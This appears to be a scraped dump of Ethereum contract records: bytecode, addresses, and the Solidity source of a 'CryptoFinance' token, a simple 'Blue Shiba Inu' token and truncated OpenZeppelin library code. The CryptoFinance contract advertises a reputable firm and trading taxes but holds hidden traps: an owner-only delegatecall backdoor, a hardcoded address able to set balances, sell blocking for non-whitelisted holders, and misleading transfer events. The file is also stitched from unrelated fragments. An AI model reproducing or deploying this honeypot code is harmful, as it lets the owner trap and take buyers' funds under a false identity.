ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611097576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112b565b6110aa83826118be90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f535441520000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112fc57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561134a57600080fd5b61139c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118be90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061157482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117fe57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118cc57fe5b818303905092915050565b60008082840190508381101515156118eb57fe5b80915050929150505600a165627a7a72305820b5a1c1e342514c638a9b1119984c49e2d0424f1cf2e0334f5bdb8f0614743fb30029
[ 38 ]
0xf2738798d0f9dfbb8f086177d027cb4b69584252
/** SPDX-License-Identifier: MIT pragma solidity 0.8.7; * Cryptofinance CH Group - https://www.cryptofinance.ch - Sell tax: 2% - Marketing tax: 1% - BuyBack: 1% The Crypto Finance Group provides institutional and professional investors products and services with a level of quality, reliability, and security that is unique in the digital asset space today. The group provides asset management, with the first regulated asset manager for crypto asset funds authorised by FINMA; brokerage services for 24/7 crypto asset trading; and crypto asset storage infrastructure and tokenisation solutions. Since its founding in 2017, the group has been recognised several times, including as a Crypto Valley Top 50 blockchain company, Top 100 Swiss Start-up, and 2019 Swiss FinTech Award winner. The Crypto Finance Group has offices in Zurich and Zug in the Crypto Valley, which is home to one of the world’s densest clusters of crypto-economic companies and innovative organisations that utilise blockchain technology. * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards * Emits an {Approval} event. */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract CryptoFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _exchange(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1089755605351626874222503051495683696555102411980)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610308578063aa2f522014610334578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b806370a082311461028a5780638cd8db8a146102bd57806395d89b41146102f3576100dd565b806321a9cf34116100bb57806321a9cf34146101d357806323b872dd14610206578063313ce5671461023c5780635142179714610251576100dd565b806306fdde03146100e2578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b3480156100ee57600080fd5b506100f76104cc565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b03813516906020013561055a565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16105c1565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600480360360208110156101f657600080fd5b50356001600160a01b03166105c7565b6101986004803603606081101561021c57600080fd5b506001600160a01b03813581169160208101359091169060400135610606565b34801561024857600080fd5b506101c161073b565b34801561025d57600080fd5b506101986004803603604081101561027457600080fd5b506001600160a01b038135169060200135610740565b34801561029657600080fd5b506101c1600480360360208110156102ad57600080fd5b50356001600160a01b03166107cd565b3480156102c957600080fd5b50610198600480360360608110156102e057600080fd5b50803590602081013590604001356107df565b3480156102ff57600080fd5b506100f761083f565b6101986004803603604081101561031e57600080fd5b506001600160a01b03813516906020013561089a565b6101986004803603604081101561034a57600080fd5b81019060208101813564010000000081111561036557600080fd5b82018360208201111561037757600080fd5b8035906020019184602083028401116401000000008311171561039957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506108a7915050565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ce945050505050565b005b34801561049d57600080fd5b506101c1600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8b565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b600b546000906001600160a01b031633146105e157600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b60008161061557506001610734565b336001600160a01b03851614610680576001600160a01b038416600090815260076020908152604080832033845290915290205482111561065557600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61068b848484610aa8565b61069457600080fd5b6001600160a01b0384166000908152600660205260409020548211156106b957600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b031633148061076f57503373bee254d6ab5dba9048e7c4750567298c08459ccc145b61077857600080fd5b81156107a4576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b60066020526000908152604090205481565b600b546000906001600160a01b031633146107f957600080fd5b60008311610808576000610814565b670de0b6b3a764000083025b6002558161082357600061082f565b670de0b6b3a764000082025b6003556004939093555090919050565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b6000610734338484610606565b600b546000906001600160a01b031633146108c157600080fd5b825133600090815260066020526040902054908302908111156108e357600080fd5b336000908152600660205260408120805483900390555b84518110156109c357600085828151811061091157fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a3506001016108fa565b506001949350505050565b600b546001600160a01b031633146109e557600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a1f5780518252601f199092019160209182019101610a00565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a7f576040519150601f19603f3d011682016040523d82523d6000602084013e610a84565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ade735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610baa565b600b549091506001600160a01b0386811691161480610b0a5750600b546001600160a01b038581169116145b80610b3157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b4d5750806001600160a01b0316856001600160a01b0316145b80610b6557506005546001600160a01b038681169116145b80610b8857506001600160a01b03851660009081526001602052604090205460ff165b15610b97576001915050610734565b610ba18584610c83565b6109c357600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bcf578385610bd2565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c975750600254155b8015610ca35750600354155b15610cb0575060006105bb565b60045415610ce1576004546001600160a01b03841660009081526020819052604090205410610ce1575060006105bb565b60025415610cfb57816002541115610cfb575060006105bb565b60035415610d1557600354821115610d15575060006105bb565b5060019291505056fea265627a7a72315820c2504473de98212f6244481073739491ed8219d30e56a6589ae62f20036a83fb64736f6c63430005110032
[ 15, 8 ]
0xf273ada6f43fd3c618894718f9a59815bb313ff0
//SPDX-License-Identifier: MIT pragma solidity ^0.7.0; contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address owner; address newOwner; function changeOwner(address payable _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract ERC20 { string public symbol; string public name; uint8 public decimals; uint256 public totalSupply; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Blue_Shiba_Inu is Owned,ERC20{ uint256 public maxSupply; constructor(address _owner) { symbol = "BSHIB"; name = "Blue Shiba Inu"; decimals = 18; totalSupply = 1000000000000000*10**uint256(decimals); maxSupply = 1000000000000000*10**uint256(decimals); owner = _owner; balances[owner] = totalSupply; } receive() external payable { revert(); } }
0x6080604052600436106100ab5760003560e01c806379ba50971161006457806379ba50971461025957806395d89b4114610270578063a6f9dae114610285578063a9059cbb146102b8578063d5abeb01146102f1578063dd62ed3e14610306576100b5565b806306fdde03146100ba578063095ea7b31461014457806318160ddd1461019157806323b872dd146101b8578063313ce567146101fb57806370a0823114610226576100b5565b366100b557600080fd5b600080fd5b3480156100c657600080fd5b506100cf610341565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101095781810151838201526020016100f1565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103cf565b604080519115158252519081900360200190f35b34801561019d57600080fd5b506101a6610435565b60408051918252519081900360200190f35b3480156101c457600080fd5b5061017d600480360360608110156101db57600080fd5b506001600160a01b0381358116916020810135909116906040013561043b565b34801561020757600080fd5b50610210610548565b6040805160ff9092168252519081900360200190f35b34801561023257600080fd5b506101a66004803603602081101561024957600080fd5b50356001600160a01b0316610551565b34801561026557600080fd5b5061026e61056c565b005b34801561027c57600080fd5b506100cf6105a4565b34801561029157600080fd5b5061026e600480360360208110156102a857600080fd5b50356001600160a01b03166105fc565b3480156102c457600080fd5b5061017d600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610635565b3480156102fd57600080fd5b506101a66106f0565b34801561031257600080fd5b506101a66004803603604081101561032957600080fd5b506001600160a01b03813581169160200135166106f6565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103c75780601f1061039c576101008083540402835291602001916103c7565b820191906000526020600020905b8154815290600101906020018083116103aa57829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b6001600160a01b038316600090815260066020526040812054821180159061048657506001600160a01b03841660009081526007602090815260408083203384529091529020548211155b80156104925750600082115b80156104b757506001600160a01b038316600090815260066020526040902054828101115b6104c057600080fd5b6001600160a01b0380851660008181526006602081815260408084208054899003905560078252808420338552825280842080548990039055948816808452918152918490208054870190558351868152935190937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526006602052604090205490565b6001546001600160a01b03163314156105a257600154600080546001600160a01b0319166001600160a01b039092169190911790555b565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103c75780601f1061039c576101008083540402835291602001916103c7565b6000546001600160a01b0316331461061357600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526006602052604081205482118015906106545750600082115b801561067957506001600160a01b038316600090815260066020526040902054828101115b61068257600080fd5b336000818152600660209081526040808320805487900390556001600160a01b03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600192915050565b60085481565b6001600160a01b0391821660009081526007602090815260408083209390941682529190915220549056fea26469706673582212206870c99466dd6d076308984e51d37613619f3c7a8a25fd9727097d02dabcf8e064736f6c63430007060033
[ 2 ]
0xf273B9eeb2E6D1DA35004b18291d05f342a518E6
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), 